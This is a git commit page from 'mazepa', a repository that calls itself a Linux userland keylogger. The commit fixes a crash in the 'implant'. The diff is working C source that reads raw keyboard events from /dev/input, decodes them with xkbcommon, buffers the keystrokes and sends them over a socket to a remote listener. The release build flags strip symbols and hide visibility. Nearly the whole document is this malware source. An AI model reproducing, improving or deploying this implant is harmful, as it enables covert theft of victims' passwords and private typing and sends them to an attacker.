mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 88a8e1957555b4a52653f7e66a4646e8292afa2c
parent 12af347d51beabc49de4a433b96d7ddaaeda58e1
Author: winds0r <[email protected]>
Date: Sat, 7 Oct 2023 19:15:46 +0200

fix(implant): stupid crash * also moved error logging from perror to proper strerror wrappers

Diffstat:
Mimplant/Makefile | 2+-
Mimplant/sources/logger.c | 28+++++++++++++++++++++-------
Mimplant/sources/net.c | 42++++++++++++++++++++++++++++++++++--------

3 files changed, 56 insertions(+), 16 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -13,7 +13,7 @@ LINK_FLAG    	= -lxkbcommon
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 
 ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g3 -DDEBUG
+	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
 else
 	CFLAGS 		 	+= -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,6 +1,7 @@
 
 #include "implant.h"
 #include <alloca.h>
+#include <stdlib.h>
 #include <bits/types/struct_timeval.h>
 #include <linux/input-event-codes.h>
 #include <stddef.h>
@@ -12,6 +13,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include <stdbool.h>
+#include <string.h>
 #include <xkbcommon/xkbcommon.h>
 
 
@@ -25,12 +27,11 @@ static int get_highest_fd(implant_t *instance) {
     return highest_fd;
 }
 
-static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRING_BUFFER_SIZE]) {
+static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
     struct input_event evt = {0};
     static bool shift_pressed = false;
 
 
-
     /*
         read events out of /dev/input/by-path/${**}-kbd
 
@@ -40,6 +41,11 @@ static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRI
     */
 
     ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+#ifdef DEBUG
+        DEBUG_LOG("[!] read %ld bytes", bytes_read);
+#endif
+
+
     if (bytes_read != sizeof(evt)) {
 
 #ifdef DEBUG
@@ -73,16 +79,19 @@ static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRI
             2) add check for which library is installed & add abstraction layer
         */
 
+
         xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
         if (shift_pressed)
             keysym = xkb_keysym_to_upper(keysym);
 
+        memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
         xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
-#ifdef DEBUG
-        printf("[+] Key pressed: %s\n", *key_desc_ptr);
-#endif
+        if (!strcmp("space", *key_desc_ptr)) {
+            memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
+            *key_desc_ptr[0] = ' ';
+        }
 
     }
 
@@ -210,13 +219,18 @@ void keylog(implant_t *instance, int sockfd) {
             /* checking for new input here */
             if (FD_ISSET(it->fd, &rd)) {
 
-                char key_desc[STRING_BUFFER_SIZE] = {0};
+                char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
+                memset(key_desc, 0, STRING_BUFFER_SIZE);
+
+                if (!key_desc) {
+                    goto LOG_FUNCTION_CLEANUP;
+                }
 
                 /*
                     should we really kill the run here or can we recover this ?
                     i need to run some tests before making a decision.
                 */
-                if (ERROR == log_keyboard(it->fd, state, (char **)&key_desc))
+                if (ERROR == log_keyboard(it->fd, state, &key_desc))
                     goto LOG_FUNCTION_CLEANUP;
 
 
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -5,6 +5,7 @@
 */
 
 
+#include <stddef.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
@@ -16,7 +17,7 @@
 #include "implant.h"
 
 
-int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
+int send_key_description(int sockfd, char *key_desc) {
 
     /*
         creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
@@ -26,17 +27,42 @@ int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
         such that a size_t can hold 10 times its size in nb of characters.
     */
 
-    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10 - 1;
+#ifdef DEBUG
+    /* i dont want to wait that long when testing lol */
+
+    const size_t max_nb_chars = STRING_BUFFER_SIZE;
+    static char tmp_buffer[STRING_BUFFER_SIZE] = { 0 };
+#else
+    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
     static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+#endif
+
     static size_t nb_chars_in_buffer = 0;
 
+
+    /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes */
     size_t length_keydesc = strlen(key_desc);
-    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+    if (length_keydesc == 0) {
+        return SUCCESSFUL;
+    }
+
+#ifdef DEBUG
+            DEBUG_LOG(
+                "buffer: %s [%ld / %ld]",
+                tmp_buffer,
+                nb_chars_in_buffer,
+                max_nb_chars
+            );
+
+            DEBUG_LOG("new key: %s", key_desc);
+#endif
+
 
+    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
         if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
 
 #ifdef DEBUG
-            perror("send");
+            DEBUG_LOG("send: %s", strerror(errno));
 #endif
             return ERROR;
         }
@@ -46,7 +72,7 @@ int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
 
         if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
 #ifdef DEBUG
-            perror("strncpy send_key_description");
+            DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
 #endif
             return ERROR;
         }
@@ -55,7 +81,7 @@ int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
 
         if (NULL == strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
 #ifdef DEBUG
-            perror("strncat send_key_description");
+            DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
 #endif
             return ERROR;
         }
@@ -112,7 +138,7 @@ int init_remote_connection(implant_t *instance) {
         ) < 0) {
 
 #ifdef DEBUG
-        perror("setsockopt");
+        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
 #endif
 
         close(sockfd);
@@ -122,7 +148,7 @@ int init_remote_connection(implant_t *instance) {
     if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
 
 #ifdef DEBUG
-        perror("setsockopt");
+        DEBUG_LOG("connect: %s", strerror(errno));
 #endif
 
         close(sockfd);